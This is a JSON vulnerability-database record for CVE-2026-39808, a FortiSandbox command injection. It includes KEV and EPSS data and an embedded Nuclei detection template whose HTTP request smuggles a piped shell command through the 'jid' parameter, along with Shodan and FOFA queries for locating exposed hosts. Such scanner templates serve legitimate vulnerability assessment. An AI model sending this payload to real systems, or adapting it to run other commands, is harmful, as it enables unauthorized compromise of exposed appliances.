{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-39808/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-39808/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-39808/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-39808/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-39808/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-39808"},"sightings":{"href":"/api/v1/sightings/cve-2026-39808"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.92819,"kev":true,"percentile":0.99825},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-39808.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-39808\n\ninfo:\n  name: Fortinet FortiSandbox - Command Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.\n  impact: |\n    Attackers can execute arbitrary code or commands, potentially leading to full system compromise.\n  remediation: Upgrade FortiSandbox to version 4.4.9 or later.\n  reference:\n    - https://fortiguard.fortinet.com/psirt/FG-IR-26-100\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-39808\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-39808\n    cwe-id: CWE-78\n    epss-score: 0.92819\n    epss-percentile: 0.99825\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: fortinet\n    product: fortisandbox\n    shodan-query: http.title:\"FortiSandbox\"\n    fofa-query: title=\"FortiSandbox\"\n  tags: cve,cve2026,fortisandbox,fortinet,rce,intrusive,file-upload,vkev,kev\n\nvariables:\n  string: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(8))}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+{{string}}+%3e+%2fweb%2fng%2f{{filename}}.txt%29%7c HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"contains(body, 'fortisandbox')\"\n        internal: true\n\n  - raw:\n      - |\n        GET /ng/{{filename}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, '{{string}}')\"\n        condition: and\n# digest: 4a0a00473045022100818cecae725335469a77028da98e2a90dd98cf56dc6fd4a0550aaf37f46048a1022075479353ec077a5a883adec74635e89970960963cb8ae1829f68be05c112f102:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2026-39808"}